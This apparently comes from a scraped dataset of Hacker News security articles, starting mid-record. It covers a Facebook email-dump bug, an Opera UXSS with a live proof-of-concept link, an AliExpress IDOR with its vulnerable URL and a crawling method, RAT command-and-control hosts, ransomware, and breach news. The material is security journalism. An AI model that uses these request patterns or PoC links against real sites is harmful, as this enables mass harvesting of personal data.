&unverified_groups[6][0]=VICTIM_UID6
&unverified_groups[7][0]=VICTIM_UID7
&unverified_groups[8][0]=VICTIM_UID8
&unverified_groups[9][0]=VICTIM_UID9
&unverified_groups[10][0]=VICTIM_UID10
and so forth...
This way attacker is able to dump the primary email address of any number of facebook users at once. But was reported to facebook security team by Roy and he is rewarded with $4500 under bug bounty program.

",Vulnerability
Universal Cross-site scripting vulnerability in Opera browser,https://thehackernews.com/2012/10/universal-cross-site-scripting.html,"A Universal Cross-site scripting vulnerability in Opera browser was disclosed today on a Russian forum rdot.org. The flaw has the ability to be triggered by exploiting flaws inside browsers, instead of leveraging the vulnerabilities against insecure web sites.

""Vulnerable versions Opera for Windows, Mac and Linux to 2.12 inclusive (the latest version as of today). On versions prior to 9.50 check is not performed. advise after referring to the following opera when redirecting to a site on data: URL via HTTP -header Location property document.domain has a value in the last redirecting site""

The vulnerability actually use the Data URI Scheme in combination with another flaw called ""Open Redirection"" which happens when an attacker can use the webpage to redirect the user to any URI of his choice.

Even one don't have ""Open Redirection"" flaw in his site, still this XSS can be triggered using various short url services like bit.ly and tinyurl.com. Here's a proof-of-concept link on tinyurl: https://tinyurl.com/operauxss. If you open this link in Opera, you will find yourself looking at an alert box saying ""tinyurl.com"".

This means that the javascript executes within the domain of tinyurl.com. Because of that, an attacker could read data within the domain and steal the users cookies for the domain as well.

There is a small Fix you can do -Go to Tools->Preferences->Advanced->Network and uncheck the checkbox labeled ""Enable automatic redirection"".

",Vulnerability
Free Ransomware Decryption Tool — CoinVault and Bitcryptor,https://thehackernews.com/2015/10/ransomware-decryption-tool.html,"Have you been infected with the insidious CoinVault or Bitcryptor ransomware?

If so, there is some potentially good news for you.

You may now recover your encrypted files for FREE! – Thanks to the efforts of Dutch police and antivirus maker Kaspersky Lab.

Security researchers from Kaspersky Lab and the Dutch Public Prosecution Service have obtained and published the last set of encryption keys from command-and-control (C&C) servers used by two related ransomware threats – CoinVault and Bitcryptor.

Security researchers first observed CoinVault ransomware attacks in May 2014. Since then, CoinVault has made more than 1,500 victims in more than 108 countries.

In April 2015, the Dutch police obtained 'Decryption keys' database from a seized command and control server of CoinVault.

Ransomware Decryption Tool

Those decryption keys were then used by Kaspersky Lab to set up a Ransomware Decryptor Service, which included a set of around 750 decryption keys recovered from CoinVault servers hosted in the Netherlands.

After that raid, the CoinVault's authors slowly updated their code, eventually releasing a second-generation CoinVault version that they named Bitcryptor.

However, last month, the Dutch authorities arrested two men in connection with CoinVault and Bitcryptor ransomware attacks, leading to the recovery of additional 14,031 decryption keys.

The keys have now been updated to the Kaspersky's Ransomware Decryptor Service and published on the noransom.kaspersky.com website.

Those victims that had their PCs infected by these ransomware programs and still have the encrypted data lying around can now download these keys to unlock their personal files.

How to Decrypt CoinVault and Bitcryptor Ransomware:

Step 1: Note down the Bitcoin wallet address mentioned by the malware.
Step 2: Get the encrypted file list from the ransomware interface.
Step 3: Then download an effective antivirus and remove CoinVault Ransomware.
Step 4: Open https://noransom.kaspersky.com and download the decryption tool released by Kaspersky Labs.
Step 5: Install additional libraries and Decrypt your files.

However, there's only one catch:

""If you get infected by this ransomware in the near future, you are out of luck.""

Ransomware on Rise

Ransomware has emerged as one of the biggest Internet threats to the web users in recent years.

The authors of the notorious CryptoWall ransomware have raised more than $325 MILLION (£212 million) in this past year alone.

Typically, hackers primarily gain access to a user's computer using ransomware malware that heavily encrypts data files with a strong cryptographic algorithm, and then demand a ransom money (to be paid in Bitcoin), which ranges from $200 to $10,000.

How to Prevent Yourself Against Ransomware Attacks?

Just few days back, the Federal Bureau of Investigation (FBI) advised ransomware victims to just pay off the criminals in order to see their valuable data again.

However, in my opinion, the best defense against these threats is to ensure that all your important files are regularly backed up to a separate drive or storage that are only temporarily connected and can not be reached by the attackers.

A few more things you should keep in mind to prevent your Computer from getting infected with ransomware and other malware threats are:
Ensure your system software and antivirus definitions are up-to-date.
Avoid visiting suspicious websites.
Avoid Opening Emails and attachments from unknown sources.

",Malware
New Mac OS X adware Trojan spreading via browser plugin,https://thehackernews.com/2013/03/new-mac-os-x-adware-trojan-spreading.html,"Russian anti-virus company Doctor Web reports that a new Mac OS X adware Trojan spreading itself via crafted movie trailer pages that prompt users to install a browser plugin. Basically, an adware is any software package which automatically renders advertisements in order to generate revenue for its author.


Dubbed as 'Trojan.Yontoo.1', Attackers have provided a number of alternative ways to spread the threat. The Trojan can also be downloaded as a media player, a video quality enhancement program or a download accelerator.

When victim visits the site, the dialogue only imitates the traditional plate and specially designed by hackers to enter a potential victim of misleading. After pressing the «Install the plug-in» victim is redirected to the site to download malware.

When launched, Trojan.Yontoo.1 displays a dialogue window that asks the user if they want to install Free Twit Tube. after the user presses 'Continue', instead of the promised program, the Trojan downloads.

While a user surfs the web, the plugin transmits information about the loaded pages to a remote server. In return, it gets a file that enables the Trojan to embed third-party code into pages visited by the user. This is how an apple.com page is displayed on an infected machine.

",Malware
AliExpress WebSite Vulnerability Exposes Millions of Users' Private Information,https://thehackernews.com/2014/12/aliexpress-website-vulnerability_7.html,"A critical, but easily exploitable personal information disclosure vulnerability has been discovered in the widely popular online marketplace AliExpress website that affects its millions of users worldwide.

The reported vulnerability could allow anyone to steal personal information of hundreds of millions of AliExpress users without knowing their account passwords.

AliExpress is an online marketplace owned by Chinese E-Commerce giant Alibaba.com, which offers more than 300 Million active users from more than 200 countries and regions to order items in bulk or one at a time at low wholesale prices.

Amitay Dan, an Israeli application security researcher working at Cybermoon.cc, reported the vulnerability to The Hacker News after providing full disclosure of the flaw to the AliExpress team and Israeli media.

According to the Proof-of-Concept video and screenshots provided by the security researcher to The Hacker News, AliExpress website allows logged in user to add/update their shipping address and contact number at the following URL i.e.
https://trade.aliexpress.com/mailingaddress/mailingAddress.htm?mailingAddressId=123456
Where ""123456"" is the user id of the logged in user. Researcher noticed that just by changing value of ""mailingAddressId"" parameter to a different value, one could easily exploit the validation flaw of the website to display the Mailing Address and contact information of the respective user on the same webpage, as shown.
A Smart attacker can simply gather personal information of millions of AliExpress users just by using an automated script to crawl ""mailingAddress.htm"" page for all possible numbers between 1 to 99999999999 as ""mailingAddressId"" parameter value.

The vulnerability has been reported to AliExpress team and will soon be patched in coming hours, researcher indicated.

",Vulnerability
Terminator RAT became more sophisticated in recent APT attacks,https://thehackernews.com/2013/10/terminator-rat-became-more.html,"Advanced Persistent Threat (APT) is a term referring to targeted attacks on enterprises and other organizations and recently referred to what appeared to be nation-state intelligence agencies using cyber assaults for both conventional espionage and industrial espionage.

Advanced threats have targeted control systems in the past and these attacks use commercially available and custom-made advanced malware to steal information or perpetrate fraud.
Terminator RAT has been used against Tibetan and Uyghur activists before and while tracking attack against entities in Taiwan, the Cyber Security company FireEye Labs recently analyzed some new samples of 'Terminator RAT' (Remote Access Tool) that was sent via spear-phishing emails to targets in Taiwan.

A word document as an attachment was sent to victims, exploited a vulnerability in Microsoft Office (CVE-2012-0158), which subsequently drops a malware installer named ""DW20.exe"".

Sometimes the simplest techniques can foil the complex systems created by security firms and large enterprises to detect malicious programs and files. Lets see - What Evasion techniques this Advance version of Terminator RAT is using:

This executable will first create its working folders located at ""%UserProfile%\Microsoft"" and ""%AppData%\2019"", where it will store configurations and executable files (svchost_.exe and sss.exe).


Malware terminates and remove itself after installation. The malware will only run after reboot. This is one effective way to evade sandbox automatic analysis, as malicious activity will only reveal after a reboot.

The RAT (svchost_.exe) will collaborate with its relay (sss.exe) to communicate with the command and control server at liumingzhen.zapto.org / 123.51.208.69 and liumingzhen.myftp.org / 123.51.208.69.

This component plays the role as a network relay between the malware and the proxy server, by listening over port 8000.

This folder ""2019"" was then configured to be the new start up folder location by changing the registry ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startupdeter forensics investigation."" to deter forensics investigation by changing the startup location.

Also to deter file-based scanning that implements a maximum file size filter, by expanding the size of svchost_.exe to 40MB.

It is clear cybercrime is getting more organized and cybercriminals are becoming so much more sophisticated. Hackers are using stealth or advanced malware, usually to infiltrate hosts in networks and steal valuable data and APT attacks are increasingly becoming more sophisticated and harder to detect.

",Vulnerability
Spanish Court Agrees to Extradite Russian Spam King to the United States,https://thehackernews.com/2017/10/peter-levashov-kelihos.html,"Spain's National Court ruled on Tuesday to extradite a 36-year-old Russian computer programmer, accused by American authorities of malicious hacking offences, to the United States, according to a court document.

Peter Yuryevich Levashov, also known as Peter Severa, was arrested in April this year when he was travelling with his family to Barcelona, Spain from his home in Russia—a country without an extradition treaty with the United States—for his role in a huge computer botnet.

However, since Levashov has previously worked with for Vladimir Putin's United Russia Party for ten years, he fears that the US authorities would torture him for information about his political work if sent there to face the charges against him.

""If I go to the U.S., I will die in a year. They want to get information of a military nature and about the United Russia party,"" RIA news agency quoted Levashov as saying. ""I will be tortured, within a year I will be killed, or I will kill myself.""

Levashov was accused of operating the Kelihos botnet—a global network of more than 100,000 infected computers used to deliver spam, steal login passwords and infect computers with ransomware and other malware since at least 2010.

While initially it was speculated that Levashov was involved in 2016 U.S. election hacking, the FBI made it clear that the suspect was arrested due to his involvement in the Kelihos botnet and spamming targets for trying and forcing them to buy worthless stock.

According to the FBI officials, Levashov used the same IP address to operate Kelihos botnet that he used to access his email and other online accounts in his name, including Apple iCloud and Google Gmail accounts.

The Department of Justice's indictment said the Russian suspect allegedly used Kelihos to distribute hundreds of millions of spam e-mails every year, and pump-and-dump stock scams, especially targeting Microsoft Windows machines for infection.

Besides conducting spamming operations, Levashov also allegedly used the Kelihos botnet to infect end-user computers with malware and harvest passwords to online and bank accounts belonging to thousands of Americans.

The United States had requested Levashov's arrest, and after his arrest in April 2016, Russia in September filed a counter-extradition request for Levashov hours before the original extradition hearing.

However, Spain's High Court has approved the U.S. extradition request of Levashov, who has been charged with wire fraud and unauthorised interception of electronic communications.

United States prosecutors are seeking a 52-year jail sentence against Levashov, who has already denied the charges against him, Reuters reported.

Levashov has now just three days to appeal his extradition to the United States.

",Malware
Twitter Discloses Suspected State-Sponsored Attack After Minor Data Breach,https://thehackernews.com/2018/12/twitter-data-breach.html,"Twitter has been hit with a minor data breach incident that the social networking site believes linked to a suspected state-sponsored attack.

In a blog post published on Monday, Twitter revealed that while investigating a vulnerability affecting one of its support forms, the company discovered evidence of the bug being misused to access and steal users' exposed information.

The impacted support form in question was used by account holders to contact Twitter about issues with their account.

Discovered in mid-November, the support form API bug exposed considerably less personal information, including the country code of users' phone numbers associated with their Twitter account, and ""whether or not their account had been locked.""

So far the company has declined to provide more details about the incident or an estimate for the number of accounts potentially impacted but says it believes that the attack may have ties to state-sponsored actors.
""During our investigation, we noticed some unusual activity involving the affected customer support form API. Specifically, we observed a large number of inquiries coming from individual IP addresses located in China and Saudi Arabia,"" Twitter says in a post about the incident.

""While we cannot confirm intent or attribution for certain, it is possible that some of these IP addresses may have ties to state-sponsored actors.""
Twitter also assures its users that the issue does not expose full phone numbers or any other personal data related to the user.

Twitter says that the social networking site addressed the issue within just one day on November 16 and that there is no action required from the users' side.

When the company became aware of the incident, it started investigating the origins and background of the breach to ""provide you with as much information as possible,"" and also updated law enforcement.

Twitter has started directly notifying the users who, according to the company, have been impacted by the incident.

""We have directly informed the people we identified as being affected,"" the company writes. ""We are providing this broader notice as it is possible that other account holders we cannot identify were potentially impacted.""

Like other social media platforms, Twitter has also been hit by a number of security incidents this year.

In May, Twitter urged all of its 330 million users to change their passwords after a software glitch unintentionally exposed its users' account passwords by storing them in plain text on an internal log.

In September, a flaw in Twitter's Account Activity API exposed some of its users' direct messages (DMs) and protected tweets to unauthorized, third-party app developers who weren't supposed to get them.

Over the weekend, Twitter was also hit by another software glitch that allowed unapproved third-party apps to access and read users' direct messages (DMs), even when they told users that they would not.

",Data_Breaches
Hackers to release 0-days in comics,https://thehackernews.com/2012/02/hackers-to-release-0-days-in-comics.html,"Hackers to release 0-days in comics
Hackers frequently disclose vulnerabilities in various products, but taking it to a whole new level, now hackers and malware coders are planning to release actual 0-days through their own comic books. The Malware conference, Malcon announced it on their groups yesterday.

In the making from last three months, the comic is planned for release with objective of simplifying and helping coders understand the art behind malcoding for offensive defense and security.

It is learned that there will be two formats for the comic - a web and a printed version. The printed version will be specifically for the Indian Government officials, Intelligence agencies and Law enforcement groups, who are regular attendees at the conference.

This is also seen as a remarkable and significant point in the history and evolution of hackers and also points at things to come in wake of real threats with respect to cyber warfare capabilities of India in future.

On condition of anonimity a supporting member said ""It is fascinating - just imagine, you read this hack in a freshly released comic book and can actually play it out in real world and exploit it till the time the vendors fix it! I mean we have seen hacking techniques adapted in movies and books, but taking one from and using in real world - its weird and fantastic!""

The comic will have a super hero or not is yet to be disclosed - however, Professional hackers are already ""excited"" at this and have poured in their support to MalCon to help them in the project.

Guess we can now read comics officially on job and tell our bosses ""Its for data security!""

",Malware
Verizon FiOS app vulnerability Exposes 5 MILLION Customers' Email Addresses,https://thehackernews.com/2015/01/verizon-fios-app-vulnerability-exposes_18.html,"A critical vulnerability discovered in Verizon's FiOS mobile application allowed an attacker to access the email account of any Verizon customer with relative ease, leaving almost five million user accounts of Verizon's FiOS application at risk.

The FiOS API flaw was discovered by XDA senior software developer Randy Westergren on January 14, 2015, when he found that it was possible to not only read the contents of other users' inboxes, but also send message on their behalf.

The issue was discovered while analyzing traffic generated by the Android version of My FiOS, which is used for account management, email and scheduling video recordings.

Westergren took time to put together a proof-of-concept showing serious cause for concern, and then reported it to Verizon. The telecom giant acknowledged the researcher of the notification the same day and issued a fix on Friday, just two days after the vulnerability was disclosed. That's precisely how it should be done - quickly and efficiently.

Microsoft could learn a lot more from Verizon, as Microsoft wasn't able to fix the security flaws in its software reported by Google's Project Zero team even after a three-month-long time period provided to the company. One-after-one three serious zero-day vulnerabilities in Windows 7 and 8.1 were disclosed by Google's security team before Microsoft planned to patch them.

The FiOS API flaw, actually contained in the application's API, allowed any account to be accessed by manipulating user identification numbers in web requests, giving attackers ability to read individual messages from a person's Verizon inbox.
""Altering the uid parameter and specifying another username shouldn't have an effect, since I'm logged in and my session is maintained through my cookies,"" Westergren wrote in an advisory. ""Amazingly, this was not the case. Substituting the uid with the username of another email account indeed returned the contents of their inbox.""
According to the security researcher, the vulnerability even allowed attackers to send email messages from victims' accounts and found and exploited further vulnerable API calls.

""It was my suspicion that all of the API methods for this widget within the app were vulnerable. My last test was sending an outgoing message as another user [which was] also successful,"" Westergren wrote.

The problem has been fixed by the telecom giant, so there is no need for users to worry about it. Verizon rewarded Westergren with a year's worth of free internet. ""Version's (corporate) security group seemed to immediately realize the impact of this vulnerability and took it very seriously,"" Westergren said.

",Vulnerability
Hacker Who Hacked Official Linux Kernel Website Arrested in Florida,https://thehackernews.com/2016/09/linux-kernel-hacking.html,"Around five years after unknown hackers gained unauthorized access to multiple kernel.org servers used to maintain and distribute the Linux operating system kernel, police have arrested a South Florida computer programmer for carrying out the attack.

Donald Ryan Austin, a 27-year-old programmer from of El Portal, Florida, was charged Thursday with hacking servers belonging to the Linux Kernel Organization (kernel.org) and the Linux Foundation in 2011, the Department of Justice announced on Thursday.

The Linux Kernel Organization runs kernel.org servers for distributing the Linux operating system kernel, which is the heart of the operating system, whereas the Linux Foundation is a separate group that supports kernel.org.

According to an indictment [PDF] unsealed by federal prosecutors on Monday, Austin managed to steal login credentials of one of the Linux Kernel Organization system administrators in 2011 and used them to install a hard-to-detect malware backdoor, dubbed Phalanx, on servers belonging to the organization.

But what made the breach much significant? It's the open-source operating system that's being used by Millions of corporate and government networks worldwide.

Using the Phalanx malware, Austin allegedly installed Ebury – a Trojan designed for Linux, FreeBSD or Solaris hacking – on a number of servers run by the Linux groups, which helped him gain access to the login credentials of people using the servers.

Austin allegedly infected Linux servers, including ""Odin1,"" ""Zeus1,"" and ""Pub3,"" which were leased by the Linux Foundation for operating kernel.org. He also hacked the personal email server of Linux Kernel Organization's founder Peter Anvin.

Austin is also accused of allegedly using his unauthorized admin privileges to insert messages into the system that would display when the servers restarted.

According to prosecutors, Austin's motive for the intrusion was to gain early access to Linux software builds distributed through the www.kernel.org website.

Bad Luck! Hacker Arrested while Breaking Traffic Rules

This security breach forced the Linux Foundation to shut down kernel.org completely while a malware infection was cleared up, and rebuild several of its servers. Miami Shores Police stopped Austin while breaking traffic rules on August 28 and then arrested after identified as a suspect in 2011 case.

Austin is charged with 4 counts of ""intentional transmission causing damage to a protected computer."" He was released from jail on a bond of $50,000 provided by the family of his girlfriend.

Judge has ordered Austin to stay away from the Internet, computers, and every type of social media or e-mail services, due to his ""substance abuse history.""

Austin is scheduled to appear in San Francisco federal court on September 21 before the Honorable Sallie Kim, and if found guilty, he faces a possible sentence of 40 years in prison as well as $2 Million in fines.

",Malware
A Google Docs Bug Could Have Allowed Hackers See Your Private Documents,https://thehackernews.com/2020/12/a-google-docs-bug-could-have-allowed.html,"Google has patched a bug in its feedback tool incorporated across its services that could be exploited by an attacker to potentially steal screenshots of sensitive Google Docs documents simply by embedding them in a malicious website.
The flaw was discovered on July 9 by security researcher Sreeram KL, for which he was awarded $3133.70 as part of Google's Vulnerability Reward Program.
Many of Google's products, including Google Docs, come with a ""Send feedback"" or ""Help Docs improve"" option that allows users to send feedback along with an option to include a screenshot — something that's automatically loaded to highlight specific issues.
But instead of having to duplicate the same functionality across its services, the feedback feature is deployed in Google's main website (""www.google.com"") and integrated to other domains via an iframe element that loads the pop-up's content from ""feedback.googleusercontent.com.""
This also means that whenever a screenshot of the Google Docs window is included, rendering the image necessitates the transmission of RGB values of every pixel to the parent domain (www.google.com), which then redirects those RGB values to the feedback's domain, which ultimately constructs the image and sends it back in Base64 encoded format.
Sreeram, however, identified a bug in the manner these messages were passed to ""feedback.googleusercontent.com,"" thus allowing an attacker to modify the frame to an arbitrary, external website, and in turn, steal and hijack Google Docs screenshots which were meant to be uploaded to Google's servers.
Notably, the flaw stems from a lack of X-Frame-Options header in the Google Docs domain, which made it possible to change the target origin of the message and exploit the cross-origin communication between the page and the frame contained in it.
While the attack requires some form of user interaction — i.e. clicking the ""Send feedback"" button — an exploit could easily leverage this weakness to capture the URL of the uploaded screenshot and exfiltrate it to a malicious site.
This can be achieved by embedding a Google Docs file in an iFrame on a rogue website and hijacking the feedback pop-up frame to redirect the contents to a domain of the attacker's choice.
Failing to provide a target origin during cross-origin communication raises security concerns in that it discloses the data that's sent to any website.
""Always specify an exact target origin, not *, when you use postMessage to send data to other windows,"" Mozilla documentation states. ""A malicious site can change the location of the window without your knowledge, and therefore it can intercept the data sent using postMessage.""

",Vulnerability
Warning — Linux Mint Website Hacked and ISOs replaced with Backdoored Operating System,https://thehackernews.com/2016/02/linux-mint-hack.html,"Are you also the one who downloaded Linux Mint on February 20th? You may have been Infected!

Linux Mint is one of the best and popular Linux distros available today, but if you have downloaded and installed the operating system recently you might have done so using a malicious ISO image.

Here's why:

Last night, Some unknown hacker or group of hackers had managed to hack into the Linux Mint website and replaced the download links on the site that pointed to one of their servers offering a malicious ISO images for the Linux Mint 17.3 Cinnamon Edition.
""Hackers made a modified Linux Mint ISO, with a backdoor in it, and managed to hack our website to point to it,"" the head of Linux Mint project Clement Lefebvre said in a surprising announcement dated February 21, 2016.

Who are affected?

As far as the Linux Mint team knows, the issue only affects the one edition, and that is Linux Mint 17.3 Cinnamon edition.

The situation happened last night, so the issue only impacts people who downloaded the above-mentioned version of Linux Mint on February 20th.

However, if you have downloaded the Cinnamon edition or release before Saturday 20th, February, the issue does not affect you. Even if you downloaded a different edition including Mint 17.3 Cinnamon via Torrent or direct HTTP link, this does not affect you either.

What had Happened?

Hackers believed to have accessed the underlying server via the team's WordPress blog and then got shell access to www-data.

From there, the hackers manipulated the Linux Mint download page and pointed it to a malicious FTP (File Transfer Protocol) server hosted in Bulgaria (IP: 5.104.175.212), the investigative team discovered.

The infected Linux ISO images installed the complete OS with the Internet Relay Chat (IRC) backdoor Tsunami, giving the attackers access to the system via IRC servers.

Tsunami is a well-known Linux ELF trojan that is a simple IRC bot used for launching Distributed Denial of Service (DDoS) attacks.

Hackers vs. Linux Mint SysAdmins

However, the Linux Mint team managed to discover the hack, cleaned up the links from their website quickly, announced the data breach on their official blog, and then it appears that the hackers compromised its download page again.

Knowing that it has failed to eliminate the exact point of entry of hackers, the Linux Mint team took the entire linuxmint.com domain offline to prevent the ISO images from spreading to its users.

The Linux Mint official website is currently offline until the team investigates the issue entirely. However, the hackers' motive behind the hack is not clear yet.
""What we don't know is the motivation behind this attack. If more efforts are made to attack our project and if the goal is to hurt us, we'll get in touch with authorities and security firms to confront the people behind this,"" Lefebvre added.

Hackers Selling Linux Mint Website's Database

The hackers are selling the Linux Mint full website's database for a just $85, which shows a sign of their lack of knowledge.

The hack seems to be a work of some script kiddies or an inexperienced group as they opted to infect a top-shelf Linux distro with a silly IRC bot that is considered to be outdated in early 2010. Instead, they would have used more dangerous malware like Banking Trojans.

Also, even after the hack was initially discovered, the hackers re-compromised the site, which again shows the hackers' lack of experience.

Here's How to Protect your Linux Machine

Users with the ISO image can check its signature in an effort to make sure it is valid.

To check for an infected download, you can compare the MD5 signature with the official versions, included in Lefebvre's blog post.

If found infected, users are advised to follow these steps:
Take the computer offline.
Backup all your personal data.
Reinstall the operating system (with a clean ISO) or format the partition.
Change passwords for sensitive websites and emails.
You can read full detail about the hack here. The official website is not accessible at the time of writing. We'll update the story when we hear more.

",Malware
BlueBorne: Critical Bluetooth Attack Puts Billions of Devices at Risk of Hacking,https://thehackernews.com/2017/09/blueborne-bluetooth-hacking.html,"If you are using a Bluetooth enabled device, be it a smartphone, laptop, smart TV or any other IoT device, you are at risk of malware attacks that can carry out remotely to take over your device even without requiring any interaction from your side.

Security researchers have just discovered total 8 zero-day vulnerabilities in Bluetooth protocol that impact more than 5.3 Billion devices—from Android, iOS, Windows and Linux to the Internet of things (IoT) devices—using the short-range wireless communication technology.

Using these vulnerabilities, security researchers at IoT security firm Armis have devised an attack, dubbed BlueBorne, which could allow attackers to completely take over Bluetooth-enabled devices, spread malware, or even establish a ""man-in-the-middle"" connection to gain access to devices' critical data and networks without requiring any victim interaction.

All an attacker need is for the victim's device to have Bluetooth turned on and obviously, in close proximity to the attacker's device. Moreover, successful exploitation doesn't even require vulnerable devices to be paired with the attacker's device.

BlueBorne: Wormable Bluetooth Attack
What's more worrisome is that the BlueBorne attack could spread like the wormable WannaCry ransomware that emerged earlier this year and wrecked havoc by disrupting large companies and organisations worldwide.

Ben Seri, head of research team at Armis Labs, claims that during an experiment in the lab, his team was able to create a botnet network and install ransomware using the BlueBorne attack.
However, Seri believes that it is difficult for even a skilled attacker to create a universal wormable exploit that could find Bluetooth-enabled devices, target all platform together and spread automatically from one infected device to others.
""Unfortunately, this set of capabilities is extremely desireable to a hacker. BlueBorne can serve any malicious objective, such as cyber espionage, data theft, ransomware, and even creating large botnets out of IoT devices like the Mirai Botnet or mobile devices as with the recent WireX Botnet,"" Armis said.
""The BlueBorne attack vector surpasses the capabilities of most attack vectors by penetrating secure ""air-gapped"" networks which are disconnected from any other network, including the internet.""

Apply Security Patches to Prevent Bluetooth Hacking

The security firm responsibly disclosed the vulnerabilities to all the major affected companies a few months ago—including Google, Apple and Microsoft, Samsung and Linux Foundation.

These vulnerabilities include:

Information Leak Vulnerability in Android (CVE-2017-0785)
Remote Code Execution Vulnerability (CVE-2017-0781) in Android's Bluetooth Network Encapsulation Protocol (BNEP) service
Remote Code Execution Vulnerability (CVE-2017-0782) in Android BNEP's Personal Area Networking (PAN) profile
The Bluetooth Pineapple in Android—Logical flaw (CVE-2017-0783)
Linux kernel Remote Code Execution vulnerability (CVE-2017-1000251)
Linux Bluetooth stack (BlueZ) information leak vulnerability (CVE-2017-1000250)
The Bluetooth Pineapple in Windows—Logical flaw (CVE-2017-8628)
Apple Low Energy Audio Protocol Remote Code Execution vulnerability (CVE Pending)
Google and Microsoft have already made security patches available to their customers, while Apple iOS devices running the most recent version of its mobile operating system (that is 10.x) are safe.
""Microsoft released security updates in July and customers who have Windows Update enabled and applied the security updates, are protected automatically. We updated to protect customers as soon as possible, but as a responsible industry partner, we withheld disclosure until other vendors could develop and release updates."" – a Microsoft spokesperson said.
What's worst? All iOS devices with 9.3.5 or older versions and over 1.1 Billion active Android devices running older than Marshmallow (6.x) are vulnerable to the BlueBorne attack.

Moreover, millions of smart Bluetooth devices running a version of Linux are also vulnerable to the attack. Commercial and consumer-oriented Linux platform (Tizen OS), BlueZ and 3.3-rc1 are also vulnerable to at least one of the BlueBorne bugs.

Android users need to wait for security patches for their devices, as it depends on your device manufacturers.

In the meantime, they can install ""BlueBorne Vulnerability Scanner"" app (created by Armis team) from Google Play Store to check if their devices are vulnerable to BlueBorne attack or not. If found vulnerable, you are advised to turn off Bluetooth on your device when not in use.

",Vulnerability
MySQL.com Once again Compromised using Sql Flaw,https://thehackernews.com/2011/12/mysqlcom-once-again-compromised-using.html,"MySQL.com Once again Compromised using Sql Flaw


A hacker with name ""D35M0ND142"" claim to hack MySql.com website using Sql Injection Flaws. In September, Mysql.com was hacked and it was serving BlackHole exploit malware on the site. In a pastebin dump Hacker Exposes various Admin user credentials and Database info. The Compromised Usernames and Passwords are from Blog site of MySql.

MySql website is pretty embarrassed for not securing its own database's properly, Even hacker share that ""Robin Schumacher is MySQL's Director of Product Management andhas over 20 years of database experience in DB2, MySQL, Oracle, SQLServer and other database engines. Before joining MySQL, Robin wasVice President of Product Management at Embarcadero Technologies.""

Besides the hack on MySQL.com, D35M0ND142 also managed to breach the systems of the Urbino University in Italy and the Universal Language & Computer Institute in Nepal and Stream Database.

",Malware
Researchers Unearth Links Between SunCrypt and QNAPCrypt Ransomware,https://thehackernews.com/2021/03/researchers-unearth-links-between.html,"SunCrypt, a ransomware strain that went on to infect several targets last year, may be an updated version of the QNAPCrypt ransomware, which targeted Linux-based file storage systems, according to new research.
""While the two ransomware [families] are operated by distinct different threat actors on the dark web, there are strong technical connections in code reuse and techniques, linking the two ransomware to the same author,"" Intezer Lab researcher Joakim Kennedy said in a malware analysis published today revealing the attackers' tactics on the dark web.
First identified in July 2019, QNAPCrypt (or eCh0raix) is a ransomware family that was found to target Network Attached Storage (NAS) devices from Taiwanese companies QNAP Systems and Synology. The devices were compromised by brute-forcing weak credentials and exploiting known vulnerabilities with the goal of encrypting files found in the system.
The ransomware has since been tracked to a Russian cybercrime group referred to as ""FullOfDeep,"" with Intezer shutting down as many as 15 ransomware campaigns using the QNAPCrypt variant with denial of service attacks targeting a list of static bitcoin wallets that were created for the express intent of accepting ransom payments from victims, and prevent future infections.
SunCrypt, on the other hand, emerged as a Windows-based ransomware tool written originally in Go in October 2019, before it was ported to a C/C++ version in mid-2020. Besides stealing victims' data prior to encrypting the files and threatening with public disclosure, the group has leveraged distributed denial-of-service (DDoS) attacks as a secondary extortion tactic to pressure victims into paying the demanded ransom.
Most recently, the ransomware was deployed to target a New South Wales-based medical diagnostics company called PRP Diagnostic Imaging on December 29, which involved the theft of ""a small volume of patient records"" from two of its administrative file servers.
Although the two ransomware families have directed their attacks against different operating systems, reports of SunCrypt's connections to other ransomware groups have been previously speculated.
Indeed, blockchain analysis company Chainalysis earlier last month quoted a ""privately circulated report"" from threat intelligence firm Intel 471 that claimed representatives from SunCrypt described their strain as a ""rewritten and rebranded version of a 'well-known' ransomware strain.""
Now according to Intezer's analysis of the SunCrypt Go binaries, not only does the ransomware share similar encryption functions with QNAPCrypt, but also in the file types encrypted and the methods used to generate the encryption password as well as perform system locale checks to determine if the machine in question is located in a disallowed country.
Also of note is the fact that both QNAPCrypt and SunCrypt make use of the ransomware-as-a-service (RaaS) model to advertise their tools on underground forums, wherein affiliates carry out the ransomware attacks themselves and pay a percentage of each victim's payment back to the strain's creators and administrators.
Taking into account the overlaps and the behavioral differences between the two groups, Intezer suspects that ""the eCh0raix ransomware was transferred to and upgraded by the SunCrypt operators.""
""While the technical based evidence strongly provides a link between QNAPCrypt and the earlier version of SunCrypt, it is clear that both ransomware are operated by different individuals,"" the researchers concluded.
""Based on the available data, it is not possible to connect the activity between the two actors on the forum. This suggests that when new malware services derived from older services appear, they may not always be operated by the same people.""

",Malware
"Kaspersky revealed ""Kimsuky"" Cyber Espionage campaign targeting South Korea",https://thehackernews.com/2013/09/Kimsuky-malware-Cyber-Espionage-campaign-South-Korea.html,"Russian Security Firm Kaspersky Lab has revealed that it has been following a sustained attack on South Korea by hackers seemingly based in North Korea.,

This new Cyber Espionage campaign dubbed ""Kimsuky"" has targeted several South Korean think tanks. Researchers believe the Kimsuky malware is most likely delivered via spear-phishing e-mails and used multiple Dropbox email accounts
""It's interesting that the drop box mail accounts iop110112@hotmail.com and rsh1213@hotmail.com are registered with the following ""kim"" names: kimsukyang and ""Kim asdfa""
The Kaspersky researchers revealed that the operation presents distinctive characteristics in its execution and logistics. The investigation started after the team of experts detected an unsophisticated spy program that communicated with it control server via a public e-mail server, an approach followed by too many amateur malware authors.

Victims download a Trojan dropper which is used to download additional malware, which has the ability to perform the following espionage functions including keystroke logging, directory listing collection, remote control access and HWP document theft.
The complete path found in the malware presents some Korean strings:
D:\rsh\공격\UAC_dll(완성)\Release\test.pdb
The ""rsh"" word, by all appearances, means a shortening of ""Remote Shell"" and the Korean words can be translated in English as ""attack"" and ""completion"", i.e.:
D:\rsh\ATTACK\UAC_dll(COMPLETION)\Release\test.pdb
At system startup, the basic library disables the system firewall and any firewall produced by the South Korean security product vendor AhnLab. The malware does not include a custom back door, instead the attackers modified a TeamViewer client as a remote control module.

Bot agents communicate with C&C through the Bulgarian web-based free email server (mail.bg), it maintains a hard coded credentials for its e-mail account. After authenticating, the malware sends emails to another specified email address, and reads emails from the Inbox.

Espionage campaign appears to be originated in North Korea. The researchers identified 10 IP addresses indicating that the attackers used networks in China's Jilin and Liaoning provinces, which border North Korea.

